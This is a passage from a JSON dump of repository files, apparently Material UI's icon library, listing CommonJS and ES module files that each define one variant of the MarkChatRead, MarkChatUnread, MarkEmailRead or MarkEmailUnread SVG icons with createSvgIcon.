    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 10c.34 0 .67.03 1 .08V4H4v12h8.08c.49-3.39 3.39-6 6.92-6\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17.34 20-3.54-3.54 1.41-1.41 2.12 2.12 4.24-4.24L23 14.34zm-5.26-4H4V4h16v6.08c.71.1 1.38.31 2 .6V4c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v18l4-4h6c0-.14.02-.27.03-.4Q12 17.3 12 17c0-.34.03-.67.08-1\"\n}, \"1\")], 'MarkChatReadTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkChatReadTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 10c.34 0 .67.03 1 .08V4H4v12h8.08c.49-3.39 3.39-6 6.92-6\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m17.34 20-3.54-3.54 1.41-1.41 2.12 2.12 4.24-4.24L23 14.34zm-5.26-4H4V4h16v6.08c.71.1 1.38.31 2 .6V4c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v18l4-4h6c0-.14.02-.27.03-.4Q12 17.3 12 17c0-.34.03-.67.08-1\"\n}, \"1\")], 'MarkChatReadTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkChatUnread.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 6.98V16c0 1.1-.9 2-2 2H6l-4 4V4c0-1.1.9-2 2-2h10.1c-.06.32-.1.66-.1 1 0 2.76 2.24 5 5 5 1.13 0 2.16-.39 3-1.02M16 3c0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3-3 1.34-3 3\"\n}), 'MarkChatUnread');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkChatUnread.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 6.98V16c0 1.1-.9 2-2 2H6l-4 4V4c0-1.1.9-2 2-2h10.1c-.06.32-.1.66-.1 1 0 2.76 2.24 5 5 5 1.13 0 2.16-.39 3-1.02M16 3c0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3-3 1.34-3 3\"\n}), 'MarkChatUnread');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkChatUnreadOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 6.98V16c0 1.1-.9 2-2 2H6l-4 4V4c0-1.1.9-2 2-2h10.1c-.06.32-.1.66-.1 1s.04.68.1 1H4v12h16V7.9c.74-.15 1.42-.48 2-.92M16 3c0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3-3 1.34-3 3\"\n}), 'MarkChatUnreadOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkChatUnreadOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 6.98V16c0 1.1-.9 2-2 2H6l-4 4V4c0-1.1.9-2 2-2h10.1c-.06.32-.1.66-.1 1s.04.68.1 1H4v12h16V7.9c.74-.15 1.42-.48 2-.92M16 3c0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3-3 1.34-3 3\"\n}), 'MarkChatUnreadOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkChatUnreadRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 6.98V16c0 1.1-.9 2-2 2H6l-4 4V4c0-1.1.9-2 2-2h10.1c-.06.32-.1.66-.1 1 0 2.76 2.24 5 5 5 1.13 0 2.16-.39 3-1.02M16 3c0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3-3 1.34-3 3\"\n}), 'MarkChatUnreadRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkChatUnreadRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 6.98V16c0 1.1-.9 2-2 2H6l-4 4V4c0-1.1.9-2 2-2h10.1c-.06.32-.1.66-.1 1 0 2.76 2.24 5 5 5 1.13 0 2.16-.39 3-1.02M16 3c0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3-3 1.34-3 3\"\n}), 'MarkChatUnreadRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkChatUnreadSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 6.98V18H6l-4 4V2h12.1c-.06.32-.1.66-.1 1 0 2.76 2.24 5 5 5 1.13 0 2.16-.39 3-1.02M16 3c0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3-3 1.34-3 3\"\n}), 'MarkChatUnreadSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkChatUnreadSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 6.98V18H6l-4 4V2h12.1c-.06.32-.1.66-.1 1 0 2.76 2.24 5 5 5 1.13 0 2.16-.39 3-1.02M16 3c0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3-3 1.34-3 3\"\n}), 'MarkChatUnreadSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkChatUnreadTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 16h16V7.9c-.32.06-.66.1-1 .1-2.42 0-4.44-1.72-4.9-4H4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 7.9c.74-.15 1.42-.48 2-.92V16c0 1.1-.9 2-2 2H6l-4 4V4c0-1.1.9-2 2-2h10.1c-.06.32-.1.66-.1 1s.04.68.1 1H4v12h16zM16 3c0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3-3 1.34-3 3\"\n}, \"1\")], 'MarkChatUnreadTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkChatUnreadTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 16h16V7.9c-.32.06-.66.1-1 .1-2.42 0-4.44-1.72-4.9-4H4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 7.9c.74-.15 1.42-.48 2-.92V16c0 1.1-.9 2-2 2H6l-4 4V4c0-1.1.9-2 2-2h10.1c-.06.32-.1.66-.1 1s.04.68.1 1H4v12h16zM16 3c0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3-3 1.34-3 3\"\n}, \"1\")], 'MarkChatUnreadTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkEmailRead.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 19c0-3.87 3.13-7 7-7 1.08 0 2.09.25 3 .68V6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h8.08c-.05-.33-.08-.66-.08-1M4 6l8 5 8-5v2l-8 5-8-5zm13.34 16-3.54-3.54 1.41-1.41 2.12 2.12 4.24-4.24L23 16.34z\"\n}), 'MarkEmailRead');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkEmailRead.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 19c0-3.87 3.13-7 7-7 1.08 0 2.09.25 3 .68V6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h8.08c-.05-.33-.08-.66-.08-1M4 6l8 5 8-5v2l-8 5-8-5zm13.34 16-3.54-3.54 1.41-1.41 2.12 2.12 4.24-4.24L23 16.34z\"\n}), 'MarkEmailRead');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkEmailReadOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h8v-2H4V8l8 5 8-5v5h2V6c0-1.1-.9-2-2-2m-8 7L4 6h16zm5.34 11-3.54-3.54 1.41-1.41 2.12 2.12 4.24-4.24L23 16.34z\"\n}), 'MarkEmailReadOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkEmailReadOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h8v-2H4V8l8 5 8-5v5h2V6c0-1.1-.9-2-2-2m-8 7L4 6h16zm5.34 11-3.54-3.54 1.41-1.41 2.12 2.12 4.24-4.24L23 16.34z\"\n}), 'MarkEmailReadOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkEmailReadRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.05 21.29c-.39.39-1.02.39-1.41 0l-2.12-2.12a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0l1.41 1.41 3.54-3.54c.39-.39 1.02-.39 1.41 0s.39 1.02 0 1.41zM12.08 20H4c-1.1 0-2-.9-2-2V6c0-1.1.9-2 2-2h16c1.1 0 2 .9 2 2v6.68c-.91-.43-1.92-.68-3-.68-3.87 0-7 3.13-7 7 0 .34.03.67.08 1m-.61-7.33c.32.2.74.2 1.06 0l7.07-4.42c.25-.16.4-.43.4-.72 0-.67-.73-1.07-1.3-.72L12 11 5.3 6.81c-.57-.35-1.3.05-1.3.72 0 .29.15.56.4.72z\"\n}), 'MarkEmailReadRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkEmailReadRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.05 21.29c-.39.39-1.02.39-1.41 0l-2.12-2.12a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0l1.41 1.41 3.54-3.54c.39-.39 1.02-.39 1.41 0s.39 1.02 0 1.41zM12.08 20H4c-1.1 0-2-.9-2-2V6c0-1.1.9-2 2-2h16c1.1 0 2 .9 2 2v6.68c-.91-.43-1.92-.68-3-.68-3.87 0-7 3.13-7 7 0 .34.03.67.08 1m-.61-7.33c.32.2.74.2 1.06 0l7.07-4.42c.25-.16.4-.43.4-.72 0-.67-.73-1.07-1.3-.72L12 11 5.3 6.81c-.57-.35-1.3.05-1.3.72 0 .29.15.56.4.72z\"\n}), 'MarkEmailReadRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkEmailReadSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 19c0-3.87 3.13-7 7-7 1.08 0 2.09.25 3 .68V4H2v16h10.08c-.05-.33-.08-.66-.08-1M4 6l8 5 8-5v2l-8 5-8-5zm13.34 16-3.54-3.54 1.41-1.41 2.12 2.12 4.24-4.24L23 16.34z\"\n}), 'MarkEmailReadSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkEmailReadSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 19c0-3.87 3.13-7 7-7 1.08 0 2.09.25 3 .68V4H2v16h10.08c-.05-.33-.08-.66-.08-1M4 6l8 5 8-5v2l-8 5-8-5zm13.34 16-3.54-3.54 1.41-1.41 2.12 2.12 4.24-4.24L23 16.34z\"\n}), 'MarkEmailReadSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkEmailReadTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 8v4.08c-.33-.05-.66-.08-1-.08-3.53 0-6.43 2.61-6.92 6H4V8l8 5zm0-2H4l8 5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.08 18H4V8l8 5 8-5v4.08c.71.1 1.38.31 2 .6V6c0-1.1-.9-2-2-2H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h8.08c-.05-.33-.08-.66-.08-1s.03-.67.08-1M20 6l-8 5-8-5zm-2.66 16-3.54-3.54 1.41-1.41 2.12 2.12 4.24-4.24L23 16.34z\"\n}, \"1\")], 'MarkEmailReadTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkEmailReadTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 8v4.08c-.33-.05-.66-.08-1-.08-3.53 0-6.43 2.61-6.92 6H4V8l8 5zm0-2H4l8 5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.08 18H4V8l8 5 8-5v4.08c.71.1 1.38.31 2 .6V6c0-1.1-.9-2-2-2H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h8.08c-.05-.33-.08-.66-.08-1s.03-.67.08-1M20 6l-8 5-8-5zm-2.66 16-3.54-3.54 1.41-1.41 2.12 2.12 4.24-4.24L23 16.34z\"\n}, \"1\")], 'MarkEmailReadTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkEmailUnread.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 8.98V18c0 1.1-.9 2-2 2H4c-1.1 0-2-.9-2-2V6c0-1.1.9-2 2-2h10.1c-.06.32-.1.66-.1 1 0 1.48.65 2.79 1.67 3.71L12 11 4 6v2l8 5 5.3-3.32c.54.2 1.1.32 1.7.32 1.13 0 2.16-.39 3-1.02M16 5c0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3-3 1.34-3 3\"\n}), 'MarkEmailUnread');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkEmailUnread.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 8.98V18c0 1.1-.9 2-2 2H4c-1.1 0-2-.9-2-2V6c0-1.1.9-2 2-2h10.1c-.06.32-.1.66-.1 1 0 1.48.65 2.79 1.67 3.71L12 11 4 6v2l8 5 5.3-3.32c.54.2 1.1.32 1.7.32 1.13 0 2.16-.39 3-1.02M16 5c0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3-3 1.34-3 3\"\n}), 'MarkEmailUnread');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkEmailUnreadOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 8.98V18c0 1.1-.9 2-2 2H4c-1.1 0-2-.9-2-2l.01-12c0-1.1.89-2 1.99-2h10.1c-.06.32-.1.66-.1 1s.04.68.1 1H4l8 5 3.67-2.29c.47.43 1.02.76 1.63.98L12 13 4 8v10h16V9.9c.74-.15 1.42-.48 2-.92M16 5c0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3-3 1.34-3 3\"\n}), 'MarkEmailUnreadOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkEmailUnreadOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 8.98V18c0 1.1-.9 2-2 2H4c-1.1 0-2-.9-2-2l.01-12c0-1.1.89-2 1.99-2h10.1c-.06.32-.1.66-.1 1s.04.68.1 1H4l8 5 3.67-2.29c.47.43 1.02.76 1.63.98L12 13 4 8v10h16V9.9c.74-.15 1.42-.48 2-.92M16 5c0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3-3 1.34-3 3\"\n}), 'MarkEmailUnreadOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkEmailUnreadRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 10c1.13 0 2.16-.39 3-1.02V18c0 1.1-.9 2-2 2H4c-1.1 0-2-.9-2-2V6c0-1.1.9-2 2-2h10.1c-.06.32-.1.66-.1 1 0 1.48.65 2.79 1.67 3.71L12 11 5.3 6.81c-.57-.35-1.3.05-1.3.72 0 .29.15.56.4.72l7.07 4.42c.32.2.74.2 1.06 0l4.77-2.98c.54.19 1.1.31 1.7.31m-3-5c0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3-3 1.34-3 3\"\n}), 'MarkEmailUnreadRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkEmailUnreadRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 10c1.13 0 2.16-.39 3-1.02V18c0 1.1-.9 2-2 2H4c-1.1 0-2-.9-2-2V6c0-1.1.9-2 2-2h10.1c-.06.32-.1.66-.1 1 0 1.48.65 2.79 1.67 3.71L12 11 5.3 6.81c-.57-.35-1.3.05-1.3.72 0 .29.15.56.4.72l7.07 4.42c.32.2.74.2 1.06 0l4.77-2.98c.54.19 1.1.31 1.7.31m-3-5c0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3-3 1.34-3 3\"\n}), 'MarkEmailUnreadRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkEmailUnreadSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 8.98V20H2V4h12.1c-.06.32-.1.66-.1 1 0 1.48.65 2.79 1.67 3.71L12 11 4 6v2l8 5 5.3-3.32c.54.2 1.1.32 1.7.32 1.13 0 2.16-.39 3-1.02M16 5c0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3-3 1.34-3 3\"\n}), 'MarkEmailUnreadSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkEmailUnreadSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 8.98V20H2V4h12.1c-.06.32-.1.66-.1 1 0 1.48.65 2.79 1.67 3.71L12 11 4 6v2l8 5 5.3-3.32c.54.2 1.1.32 1.7.32 1.13 0 2.16-.39 3-1.02M16 5c0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3-3 1.34-3 3\"\n}), 'MarkEmailUnreadSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkEmailUnreadTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6h10.1c.22 1.07.79 2 1.57 2.71L12 11zm0 2v10h16V9.9c-.32.07-.66.1-1 .1-.6 0-1.16-.12-1.7-.32L12 13z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 9.9c.74-.15 1.42-.48 2-.92V18c0 1.1-.9 2-2 2H4c-1.1 0-2-.9-2-2V6c0-1.1.9-2 2-2h10.1c-.06.32-.1.66-.1 1s.04.68.1 1H4l8 5 3.67-2.29c.47.43 1.02.76 1.63.98L12 13 4 8v10h16zM16 5c0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3-3 1.34-3 3\"\n}, \"1\")], 'MarkEmailUnreadTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkEmailUnreadTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6h10.1c.22 1.07.79 2 1.57 2.71L12 11zm0 2v10h16V9.9c-.32.07-.66.1-1 .1-.6 0-1.16-.12-1.7-.32L12 13z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 9.9c.74-.15 1.42-.48 2-.92V18c0 1.1-.9 2-2 2H4c-1.1 0-2-.9-2-2V6c0-1.1.9-2 2-2h10.1c-.06.32-.1.66-.1 1s.04.68.1 1H4l8 5 3.67-2.29c.47.43 1.02.76 1.63.98L12 13 4 8v10h16zM16 5c0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3-3 1.34-3 3\"\n}, \"1\")], 'MarkEmailUnreadTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MarkUnreadChatAlt.js",
